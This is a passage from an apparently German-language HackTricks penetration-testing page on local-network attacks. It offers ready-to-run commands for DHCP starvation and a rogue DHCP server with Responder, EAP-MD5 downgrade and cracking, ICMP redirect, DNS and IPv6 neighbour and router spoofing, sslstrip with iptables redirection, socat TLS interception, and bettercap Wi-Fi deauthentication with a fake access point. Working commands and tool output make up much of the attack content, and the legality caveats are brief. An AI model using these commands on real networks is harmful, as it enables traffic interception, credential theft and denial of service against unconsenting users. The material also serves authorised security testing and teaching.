|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Es können zwei Arten von DoS-Angriffen gegen DHCP-Server durchgeführt werden. Der erste besteht darin, genügend gefälschte Hosts zu simulieren, um alle möglichen IP-Adressen zu verwenden.
Dieser Angriff funktioniert nur, wenn Sie die Antworten des DHCP-Servers sehen können und das Protokoll abschließen (Discover (Comp) --> Offer (Server) --> Request (Comp) --> ACK (Server)). Dies ist zum Beispiel in WLAN-Netzwerken nicht möglich.

Eine andere Möglichkeit, einen DHCP-DoS-Angriff durchzuführen, besteht darin, ein DHCP-RELEASE-Paket zu senden und als Quellcode jede mögliche IP-Adresse zu verwenden. Der Server wird dann denken, dass jeder die IP-Adresse nicht mehr verwendet.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Eine automatischere Methode hierfür ist die Verwendung des Tools DHCPing.

Sie könnten die genannten DoS-Angriffe verwenden, um Clients dazu zu zwingen, neue Leases innerhalb der Umgebung zu erhalten und legitime Server so zu erschöpfen, dass sie nicht mehr reagieren. Wenn die Legitimen dann versuchen, sich erneut zu verbinden, können Sie bösartige Werte bereitstellen, wie im nächsten Angriff erwähnt.

Setzen bösartiger Werte

Ein Rogue-DHCP-Server kann mithilfe des DHCP-Skripts unter /usr/share/responder/DHCP.py eingerichtet werden. Dies ist nützlich für Netzwerkangriffe, wie das Erfassen von HTTP-Verkehr und Anmeldeinformationen, indem der Verkehr auf einen bösartigen Server umgeleitet wird. Das Einrichten eines Rogue-Gateways ist jedoch weniger effektiv, da dadurch nur ausgehender Verkehr vom Client erfasst wird und die Antworten vom echten Gateway fehlen. Stattdessen wird empfohlen, einen Rogue-DNS- oder WPAD-Server für einen effektiveren Angriff einzurichten.

Nachfolgend sind die Befehlsoptionen für die Konfiguration des Rogue-DHCP-Servers aufgeführt:

  • Unsere IP-Adresse (Gateway Advertisement): Verwenden Sie -i 10.0.0.100, um die IP-Adresse Ihres eigenen Geräts als Gateway anzugeben.
  • Lokaler DNS-Domänenname: Optional können Sie -d example.org verwenden, um einen lokalen DNS-Domänennamen festzulegen.
  • Ursprüngliche Router-/Gateway-IP: Verwenden Sie -r 10.0.0.1, um die IP-Adresse des legitimen Routers oder Gateways anzugeben.
  • Primäre DNS-Server-IP: Verwenden Sie -p 10.0.0.100, um die IP-Adresse des von Ihnen kontrollierten Rogue-DNS-Servers festzulegen.
  • Sekundäre DNS-Server-IP: Optional können Sie -s 10.0.0.1 verwenden, um eine sekundäre DNS-Server-IP festzulegen.
  • Netzmaske des lokalen Netzwerks: Verwenden Sie -n 255.255.255.0, um die Netzmaske für das lokale Netzwerk festzulegen.
  • Schnittstelle für DHCP-Verkehr: Verwenden Sie -I eth1, um DHCP-Verkehr auf einer bestimmten Netzwerkschnittstelle abzuhören.
  • WPAD-Konfigurationsadresse: Verwenden Sie -w "http://10.0.0.100/wpad.dat", um die Adresse für die WPAD-Konfiguration festzulegen, um den Webverkehr abzufangen.
  • Spoofing der Standard-Gateway-IP: Fügen Sie -S hinzu, um die IP-Adresse des Standard-Gateways zu fälschen.
  • Auf alle DHCP-Anfragen antworten: Fügen Sie -R hinzu, um den Server auf alle DHCP-Anfragen antworten zu lassen. Beachten Sie jedoch, dass dies laut und erkennbar ist.

Durch die korrekte Verwendung dieser Optionen kann ein Rogue-DHCP-Server eingerichtet werden, um den Netzwerkverkehr effektiv abzufangen.

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP-Angriffe

Hier sind einige Angriffstaktiken, die gegen 802.1X-Implementierungen verwendet werden können:

  • Aktives Brute-Force-Passwortknacken über EAP
  • Angriff auf den RADIUS-Server mit fehlerhaftem EAP-Inhalt (Exploits)
  • Erfassen von EAP-Nachrichten und Offline-Passwortknacken (EAP-MD5 und PEAP)
  • Erzwingen der EAP-MD5-Authentifizierung zur Umgehung der TLS-Zertifikatsvalidierung
  • Einschleusen von bösartigem Netzwerkverkehr nach der Authentifizierung mit einem Hub oder ähnlichem

Wenn der Angreifer zwischen dem Opfer und dem Authentifizierungsserver steht, könnte er versuchen, das Authentifizierungsprotokoll bei Bedarf auf EAP-MD5 herabzustufen und den Authentifizierungsversuch zu erfassen. Anschließend könnte er dies durch Brute-Force versuchen, indem er:

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) Angriffe

FHRP (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um ein hochredundantes Routing-System zu erstellen. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Ausfallsicherheit erhöht und die Lastverteilung unterstützt.

Cisco Systems-Ingenieure haben zwei FHRP-Protokolle entwickelt, GLBP und HSRP.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Es sind drei Versionen des Routing Information Protocol (RIP) bekannt: RIP, RIPv2 und RIPng. RIP und RIPv2 senden Datagramme über den Port 520 mit UDP an Peers, während RIPng Datagramme über IPv6-Multicast an den UDP-Port 521 sendet. RIPv2 unterstützt die MD5-Authentifizierung. Bei RIPng ist keine native Authentifizierung implementiert, stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.

  • RIP und RIPv2: Die Kommunikation erfolgt über UDP-Datagramme auf Port 520.
  • RIPng: Verwendet UDP-Port 521, um Datagramme über IPv6-Multicast zu senden.

Beachten Sie, dass RIPv2 die MD5-Authentifizierung unterstützt, während RIPng keine native Authentifizierung enthält und auf IPsec AH- und ESP-Header in IPv6 angewiesen ist.

EIGRP Angriffe

EIGRP (Enhanced Interior Gateway Routing Protocol) ist ein dynamisches Routing-Protokoll. Es handelt sich um ein Distanzvektor-Protokoll. Wenn keine Authentifizierung und Konfiguration von passiven Schnittstellen vorhanden ist, kann ein Eindringling das EIGRP-Routing beeinträchtigen und Routing-Tabellenvergiftung verursachen. Darüber hinaus ist das EIGRP-Netzwerk (das heißt, das autonome System) flach und nicht in Zonen unterteilt. Wenn ein Angreifer eine Route einschleust, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System ausbreitet.

Um ein EIGRP-System anzugreifen, ist es erforderlich, eine Nachbarschaft mit einem legitimen EIGRP-Router herzustellen, was viele Möglichkeiten eröffnet, von grundlegender Aufklärung bis hin zu verschiedenen Injektionen.

FRRouting ermöglicht es Ihnen, einen virtuellen Router zu implementieren, der BGP, OSPF, EIGRP, RIP und andere Protokolle unterstützt. Alles, was Sie tun müssen, ist es auf Ihrem Angreifer-System bereitzustellen und Sie können tatsächlich vorgeben, ein legitimer Router im Routing-Domäne zu sein.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

Coly verfügt über Funktionen zum Abfangen von EIGRP (Enhanced Interior Gateway Routing Protocol)-Broadcasts. Es ermöglicht auch das Einschleusen von Paketen, die zur Änderung von Routing-Konfigurationen genutzt werden können.

OSPF

Im Open Shortest Path First (OSPF)-Protokoll wird häufig die MD5-Authentifizierung verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Zur Konfiguration der Routenparameter und zum Herstellen des kompromittierten Schlüssels werden die Registerkarten Injection und Connection verwendet.

  • Erfassen und Knacken von MD5-Hashes: Hierfür werden Tools wie Loki und John the Ripper verwendet.
  • Konfigurieren von Routenparametern: Dies erfolgt über die Registerkarte Injection.
  • Einstellen des kompromittierten Schlüssels: Der Schlüssel wird unter der Registerkarte Connection konfiguriert.

Andere generische Tools & Quellen

  • Above: Tool zum Scannen des Netzwerkverkehrs und zur Suche nach Schwachstellen
  • Weitere Informationen zu Netzwerkangriffen finden Sie hier.

Spoofing

Der Angreifer konfiguriert alle Netzwerkparameter (GW, IP, DNS) des neuen Netzwerkmitglieds, indem er gefälschte DHCP-Antworten sendet.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Überprüfen Sie den vorherigen Abschnitt.

ICMPRedirect

ICMP Redirect besteht darin, ein ICMP-Paket vom Typ 1 Code 5 zu senden, das anzeigt, dass der Angreifer der beste Weg ist, um eine IP zu erreichen. Wenn das Opfer dann die IP kontaktieren möchte, sendet es das Paket über den Angreifer.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS-Spoofing

Der Angreifer löst einige (oder alle) Domains auf, nach denen das Opfer fragt.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Konfigurieren Sie Ihre eigene DNS mit dnsmasq

Um Ihre eigene DNS-Konfiguration mit dnsmasq einzurichten, können Sie die folgenden Schritte befolgen:

  1. Installieren Sie dnsmasq auf Ihrem System. Verwenden Sie dazu den Befehl apt-get install dnsmasq für Debian-basierte Systeme oder yum install dnsmasq für Red Hat-basierte Systeme.

  2. Öffnen Sie die Konfigurationsdatei von dnsmasq mit einem Texteditor. Die Datei befindet sich normalerweise unter /etc/dnsmasq.conf.

  3. Konfigurieren Sie die gewünschten DNS-Einstellungen in der Datei. Sie können beispielsweise benutzerdefinierte DNS-Einträge hinzufügen, indem Sie die Syntax address=/domain/ip verwenden. Ersetzen Sie "domain" durch die gewünschte Domain und "ip" durch die entsprechende IP-Adresse.

  4. Starten Sie den dnsmasq-Dienst neu, damit die Änderungen wirksam werden. Verwenden Sie den Befehl service dnsmasq restart für Debian-basierte Systeme oder systemctl restart dnsmasq für Red Hat-basierte Systeme.

  5. Überprüfen Sie die DNS-Konfiguration, indem Sie den Befehl nslookup domain ausführen. Ersetzen Sie "domain" durch die zuvor konfigurierte Domain. Sie sollten die entsprechende IP-Adresse erhalten.

Durch die Konfiguration Ihrer eigenen DNS mit dnsmasq können Sie die DNS-Auflösung für bestimmte Domains anpassen und steuern. Dies kann nützlich sein, um beispielsweise DNS-basierte Angriffe zu simulieren oder den Datenverkehr umzuleiten.

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Lokale Gateways

Es gibt oft mehrere Routen zu Systemen und Netzwerken. Nachdem Sie eine Liste der MAC-Adressen im lokalen Netzwerk erstellt haben, verwenden Sie gateway-finder.py, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Spoofing LLMNR, NBT-NS, and mDNS

Für die lokale Hostauflösung, wenn DNS-Lookups fehlschlagen, verlassen sich Microsoft-Systeme auf Link-Local Multicast Name Resolution (LLMNR) und den NetBIOS Name Service (NBT-NS). Ebenso nutzen Apple Bonjour und Linux Zero-Configuration-Implementierungen Multicast DNS (mDNS) zur Entdeckung von Systemen innerhalb eines Netzwerks. Aufgrund der nicht authentifizierten Natur dieser Protokolle und ihrer Übertragung über UDP durch das Senden von Broadcast-Nachrichten können sie von Angreifern ausgenutzt werden, um Benutzer auf bösartige Dienste umzuleiten.

Sie können Dienste, die von Hosts gesucht werden, durch den Einsatz von Responder impersonieren, um gefälschte Antworten zu senden.
Lesen Sie hier weitere Informationen darüber, wie man Dienste mit Responder impersoniert.

Spoofing WPAD

Browser verwenden häufig das Web Proxy Auto-Discovery (WPAD)-Protokoll, um automatisch Proxy-Einstellungen zu erwerben. Dies beinhaltet das Abrufen von Konfigurationsdetails von einem Server, speziell über eine URL wie "http://wpad.example.org/wpad.dat". Die Entdeckung dieses Servers durch die Clients kann auf verschiedene Weise erfolgen:

  • Über DHCP, wobei die Entdeckung durch Verwendung eines speziellen Code-252-Eintrags erleichtert wird.
  • Durch DNS, bei dem nach einem Hostnamen mit der Bezeichnung wpad in der lokalen Domäne gesucht wird.
  • Über Microsoft LLMNR und NBT-NS, die als Fallback-Mechanismen verwendet werden, wenn DNS-Lookups nicht erfolgreich sind.

Das Tool Responder nutzt dieses Protokoll aus, indem es als bösartiger WPAD-Server agiert. Es verwendet DHCP, DNS, LLMNR und NBT-NS, um Clients in die Irre zu führen und eine Verbindung zu ihm herzustellen. Um tiefer in die Thematik einzusteigen, wie Dienste mit Responder impersoniert werden können, schauen Sie hier.

Spoofing SSDP and UPnP devices

Sie können verschiedene Dienste im Netzwerk anbieten, um einen Benutzer zu täuschen, um einige Klartext-Anmeldeinformationen einzugeben. Weitere Informationen zu diesem Angriff finden Sie in Spoofing SSDP and UPnP Devices.

IPv6 Neighbor Spoofing

Dieser Angriff ähnelt sehr dem ARP Spoofing, jedoch im IPv6-Netzwerk. Sie können das Opfer glauben lassen, dass die IPv6 des Gateways die MAC-Adresse des Angreifers hat.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6 Router Advertisement Spoofing/Flooding

Einige Betriebssysteme konfigurieren standardmäßig das Gateway anhand der RA-Pakete, die im Netzwerk gesendet werden. Um den Angreifer als IPv6-Router zu deklarieren, können Sie Folgendes verwenden:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP Spoofing

Standardmäßig versuchen einige Betriebssysteme, die DNS-Konfiguration durch das Lesen eines DHCPv6-Pakets im Netzwerk vorzunehmen. Ein Angreifer könnte dann ein DHCPv6-Paket senden, um sich selbst als DNS-Server zu konfigurieren. Der DHCP stellt auch eine IPv6-Adresse für das Opfer bereit.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (gefälschte Seite und JS-Code-Injektion)

Internetangriffe

sslStrip

Im Grunde genommen macht dieser Angriff folgendes: Wenn der Benutzer versucht, auf eine HTTP-Seite zuzugreifen, die zur HTTPS-Version umleitet, wird sslStrip eine HTTP-Verbindung zum Client und eine HTTPS-Verbindung zum Server aufrechterhalten, um die Verbindung im Klartext abzufangen.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Mehr Informationen hier.

sslStrip+ und dns2proxy zum Umgehen von HSTS

Der Unterschied zwischen sslStrip+ und dns2proxy gegenüber sslStrip besteht darin, dass sie beispielsweise www.facebook.com auf wwww.facebook.com (beachte das zusätzliche "w") umleiten und die Adresse dieser Domain als die IP des Angreifers festlegen. Auf diese Weise wird der Client eine Verbindung zu wwww.facebook.com (dem Angreifer) herstellen, aber im Hintergrund wird sslstrip+ die echte Verbindung über HTTPS mit www.facebook.com aufrechterhalten.

Das Ziel dieser Technik ist es, HSTS zu umgehen, da wwww.facebook.com nicht im Cache des Browsers gespeichert wird. Dadurch wird der Browser dazu verleitet, die Facebook-Authentifizierung in HTTP durchzuführen.
Beachten Sie, dass der Angriff nur funktioniert, wenn das Opfer zunächst versucht, auf http://www.faceook.com und nicht auf HTTPS zuzugreifen. Dies kann durch Ändern der Links innerhalb einer HTTP-Seite erreicht werden.

Mehr Informationen hier, hier und hier.

sslStrip oder sslStrip+ funktionieren nicht mehr. Dies liegt daran, dass in den Browsern HSTS-Regeln vorgespeichert sind. Selbst wenn ein Benutzer zum ersten Mal auf eine "wichtige" Domain zugreift, erfolgt der Zugriff über HTTPS. Beachten Sie auch, dass die vorgespeicherten Regeln und andere generierte Regeln die Flagge includeSubdomains verwenden können. Das Beispiel mit wwww.facebook.com von vorhin funktioniert nicht mehr, da facebook.com HSTS mit includeSubdomains verwendet.

TODO: easy-creds, evilgrade, metasploit, factory

TCP-Listening auf Port

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

TCP + SSL auf Port lauschen

Generieren von Schlüsseln und selbstsigniertem Zertifikat

openssl genrsa -out private.key 2048
openssl req -new -x509 -key private.key -out certificate.crt -days 365

Start listening on port 443 with the generated keys and certificate

openssl s_server -key private.key -cert certificate.crt -accept 443 -www

Access the server using a web browser

Open a web browser and navigate to https://<your-ip-address>. You should be able to access the server and see the response.

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Zuhören mit Zertifikat

Eine Möglichkeit, den Netzwerkverkehr abzuhören, besteht darin, ein gültiges Zertifikat zu verwenden. Dies ermöglicht es Ihnen, den Datenverkehr zwischen einem Client und einem Server zu entschlüsseln und mitzulesen.

Um diese Methode anzuwenden, müssen Sie zunächst ein gültiges Zertifikat erstellen. Dies kann entweder ein selbstsigniertes Zertifikat oder ein von einer Zertifizierungsstelle (CA) ausgestelltes Zertifikat sein.

Sobald Sie das Zertifikat haben, müssen Sie es auf dem Gerät installieren, auf dem Sie den Netzwerkverkehr abhören möchten. Dies kann auf verschiedenen Arten erfolgen, je nachdem, welches Betriebssystem und welche Tools Sie verwenden.

Nachdem das Zertifikat installiert ist, müssen Sie den Netzwerkverkehr umleiten, damit er über Ihren Abhörpunkt läuft. Dies kann durch Ändern der Netzwerkkonfiguration oder durch Verwendung von Tools wie ARP-Spoofing oder DNS-Spoofing erreicht werden.

Sobald der Datenverkehr über Ihren Abhörpunkt läuft, können Sie ihn mit dem privaten Schlüssel des Zertifikats entschlüsseln und mitlesen. Dies ermöglicht es Ihnen, sensible Informationen wie Benutzernamen, Passwörter oder andere vertrauliche Daten zu erfassen.

Es ist wichtig zu beachten, dass das Abhören des Netzwerkverkehrs mit einem Zertifikat in den meisten Fällen illegal ist, es sei denn, Sie haben die ausdrückliche Erlaubnis des Eigentümers des Netzwerks. Diese Methode sollte nur zu legitimen Zwecken und mit Zustimmung verwendet werden.

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Zuhören mit Zertifikat und Umleitung zu den Hosts

Um den Datenverkehr abzuhören und zu den Hosts umzuleiten, können Zertifikate verwendet werden. Dies ermöglicht es uns, den Datenverkehr zu entschlüsseln und zu analysieren, bevor er an den Zielhost weitergeleitet wird.

Um dies zu erreichen, müssen wir ein gültiges Zertifikat für den Zielhost erstellen und den Datenverkehr über einen Proxy-Server umleiten. Der Proxy-Server fungiert als Vermittler zwischen dem Client und dem Zielhost und ermöglicht es uns, den Datenverkehr abzufangen und zu analysieren.

Hier sind die Schritte, um den Datenverkehr abzuhören und zu den Hosts umzuleiten:

  1. Erstellen Sie ein gültiges Zertifikat für den Zielhost. Dies kann entweder ein selbstsigniertes Zertifikat oder ein von einer Zertifizierungsstelle ausgestelltes Zertifikat sein.

  2. Konfigurieren Sie den Proxy-Server, um den Datenverkehr abzufangen und zu analysieren. Stellen Sie sicher, dass der Proxy-Server das erstellte Zertifikat verwendet.

  3. Leiten Sie den Datenverkehr von den Clients zum Proxy-Server um. Dies kann durch Ändern der Proxy-Einstellungen auf den Clients oder durch Umleitung des Datenverkehrs auf Netzwerkebene erreicht werden.

  4. Der Proxy-Server empfängt den Datenverkehr, entschlüsselt ihn mithilfe des Zertifikats und leitet ihn dann an den Zielhost weiter.

Durch das Abhören und Umleiten des Datenverkehrs können wir den Inhalt analysieren, sensible Informationen extrahieren und Schwachstellen im Netzwerk identifizieren. Es ist jedoch wichtig zu beachten, dass diese Technik nur in legalen und autorisierten Umgebungen angewendet werden sollte.

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Manchmal, wenn der Client überprüft, ob die CA gültig ist, könnten Sie ein Zertifikat eines anderen Hostnamens vorlegen, das von einer CA signiert wurde.
Ein weiterer interessanter Test besteht darin, ein selbstsigniertes Zertifikat des angeforderten Hostnamens bereitzustellen.

Andere Dinge, die getestet werden können, sind das Signieren des Zertifikats mit einem gültigen Zertifikat, das jedoch keine gültige CA ist. Oder die Verwendung des gültigen öffentlichen Schlüssels, um die Verwendung eines Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Client eine Überprüfung des echten privaten Schlüssels anfordert (wie einen Hash), eine gefälschte Überprüfung senden und erwarten, dass der Client dies nicht überprüft.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Aktive Entdeckungsnotizen

Beachten Sie, dass bei dem Versenden eines UDP-Pakets an ein Gerät, das den angeforderten Port nicht hat, ein ICMP (Port Unreachable) gesendet wird.

ARP-Entdeckung

ARP-Pakete werden verwendet, um herauszufinden, welche IPs im Netzwerk verwendet werden. Der PC muss eine Anfrage für jede mögliche IP-Adresse senden und nur diejenigen, die verwendet werden, antworten.

mDNS (Multicast DNS)

Bettercap sendet alle X ms eine MDNS-Anfrage, in der nach _services_.dns-sd._udp.local gefragt wird. Die Maschine, die dieses Paket sieht, antwortet normalerweise auf diese Anfrage. Dann sucht es nur nach Maschinen, die auf "services" antworten.

Werkzeuge

  • Avahi-Browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Name Server)

Bettercap sendet Broadcast-Pakete an den Port 137/UDP und fragt nach dem Namen "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap sendet SSDP-Broadcast-Pakete, um nach allen Arten von Diensten zu suchen (UDP-Port 1900).

WSD (Web Service Discovery)

Bettercap sendet WSD-Broadcast-Pakete, um nach Diensten zu suchen (UDP-Port 3702).

Referenzen


Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie noch heute unter https://go.intigriti.com/hacktricks bei und verdienen Sie Prämien von bis zu 100.000 $!

{% embed url="https://go.intigriti.com/hacktricks" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: